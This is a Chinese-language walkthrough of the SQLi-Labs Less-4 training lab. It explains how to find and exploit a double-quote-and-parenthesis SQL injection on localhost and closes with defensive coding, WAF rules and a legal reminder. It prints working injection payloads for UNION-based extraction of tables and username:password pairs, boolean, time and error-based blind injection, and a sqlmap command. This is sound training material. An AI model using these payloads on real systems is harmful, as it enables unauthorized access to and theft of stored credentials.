1. 项目概述
SQLi-Labs Less-4 是一个经典的SQL注入靶场环境,专门用于练习双引号加括号闭合的字符型GET注入技术。这个靶场模拟了Web应用中常见的SQL注入漏洞场景,特别适合安全研究人员和渗透测试人员用来提升实战能力。
在实际Web开发中,字符型参数注入是SQL注入攻击的主要形式之一。Less-4的特殊之处在于它采用了双引号包裹参数值并用括号闭合SQL语句的写法,这种形式在PHP等动态网站开发中并不少见。通过这个靶场的练习,我们可以掌握这类特殊闭合方式的注入技巧。
2. 环境准备与基础分析
2.1 靶场环境搭建
要开始Less-4的练习,首先需要搭建SQLi-Labs环境。推荐使用以下配置:
- 安装XAMPP或WAMP集成环境
- 下载SQLi-Labs源码并解压到htdocs目录
- 启动Apache和MySQL服务
- 访问http://localhost/sqli-labs进入靶场
注意:建议在虚拟机或隔离环境中搭建靶场,避免对真实系统造成影响
2.2 目标页面分析
访问Less-4页面后,我们会看到一个简单的用户查询界面。URL结构如下:
code复制http://localhost/sqli-labs/Less-4/?id=1
通过修改id参数值,页面会返回对应的用户信息。我们的目标是利用这个参数实现SQL注入。
2.3 注入类型判断
首先需要确定注入类型。通过以下测试可以确认是字符型注入:
- 输入
id=1- 正常返回 - 输入
id=1'- 仍然正常返回 - 输入
id=1"- 页面报错或返回异常
这表明参数值是用双引号包裹的。进一步测试发现使用id=1")也会导致报错,说明SQL语句还包含括号闭合。
3. 注入技术详解
3.1 闭合方式分析
通过错误信息可以推测后台SQL语句大致如下:
sql复制SELECT * FROM users WHERE id=("$id") LIMIT 0,1
因此,我们需要构造payload时先闭合双引号和括号,再添加我们的注入代码。典型的闭合方式为:
code复制") [注入代码] --+
其中--+是注释符,用于注释掉原SQL语句中剩余的部分。
3.2 信息收集技术
3.2.1 确定字段数
使用ORDER BY子句确定查询返回的字段数:
code复制?id=1") ORDER BY 3--+ # 正常
?id=1") ORDER BY 4--+ # 报错
这表示查询返回3个字段。
3.2.2 联合查询注入
确定字段数后,可以使用UNION SELECT进行联合查询:
code复制?id=-1") UNION SELECT 1,2,3--+
通过这个payload可以确定哪些字段会在页面中显示,通常数字2和3会显示在页面上。
3.2.3 数据库信息获取
利用可显示字段获取数据库信息:
code复制?id=-1") UNION SELECT 1,database(),version()--+
这将返回当前数据库名称和MySQL版本信息。
3.3 数据提取技术
3.3.1 获取表名
code复制?id=-1") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+
3.3.2 获取列名
code复制?id=-1") UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+
3.3.3 获取用户数据
code复制?id=-1") UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+
提示:0x3a是冒号的十六进制表示,用于分隔用户名和密码
4. 高级注入技巧
4.1 布尔盲注技术
当页面没有明显回显时,可以使用布尔盲注。以获取数据库名称为例:
code复制?id=1") AND SUBSTRING(database(),1,1)='s'--+
通过判断页面返回是否正常,可以逐字符猜解数据。
4.2 时间盲注技术
当布尔条件也无法判断时,可以使用时间延迟:
code复制?id=1") AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)--+
如果第一个字符是's',页面会延迟5秒返回。
4.3 报错注入技术
利用数据库报错信息获取数据:
code复制?id=1") AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))--+
5. 防御措施与安全建议
5.1 安全编码实践
- 使用参数化查询(预处理语句)
- 对输入进行严格的类型检查
- 实施最小权限原则
5.2 PHP安全示例
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id=(?)");
$stmt->bind_param("i", $id);
$stmt->execute();
5.3 WAF规则建议
对于这类注入,WAF可以配置以下规则:
- 检测异常的引号和括号组合
- 限制SQL关键字如UNION、SELECT等
- 监控异常的information_schema访问
6. 实战经验分享
在实际渗透测试中,双引号加括号的注入场景并不少见。以下是几个实用技巧:
- 当单引号测试无效时,一定要尝试双引号
- 注意观察错误信息,它往往揭示了SQL语句的结构
- 使用
--+而不是#注释,因为URL中的#不会被发送到服务器 - 遇到复杂闭合时,可以尝试多种组合:
"),")),")))等
我曾经在一个电商网站测试中遇到过类似Less-4的情况。通过系统性地尝试各种闭合方式,最终发现需要使用"))来正确闭合SQL语句。这个经验告诉我,耐心和系统性的测试方法在SQL注入中至关重要。
7. 自动化工具使用
虽然手工注入很重要,但了解工具也能提高效率。推荐以下工具:
- SQLmap:自动化检测和利用SQL注入
code复制sqlmap -u "http://localhost/sqli-labs/Less-4/?id=1" --batch - Burp Suite:拦截和修改请求,辅助手工测试
- HackBar:浏览器插件,方便构造和发送payload
注意:工具不能替代对原理的理解,建议先掌握手工注入再使用工具
8. 法律与道德提醒
在进行任何安全测试前,必须:
- 获得明确的书面授权
- 仅在授权范围内测试
- 不进行可能影响系统可用性的测试
- 及时报告发现的安全问题
- 不泄露或利用获取的数据
SQLi-Labs是合法的学习环境,但同样的技术用于未经授权的系统就是违法行为。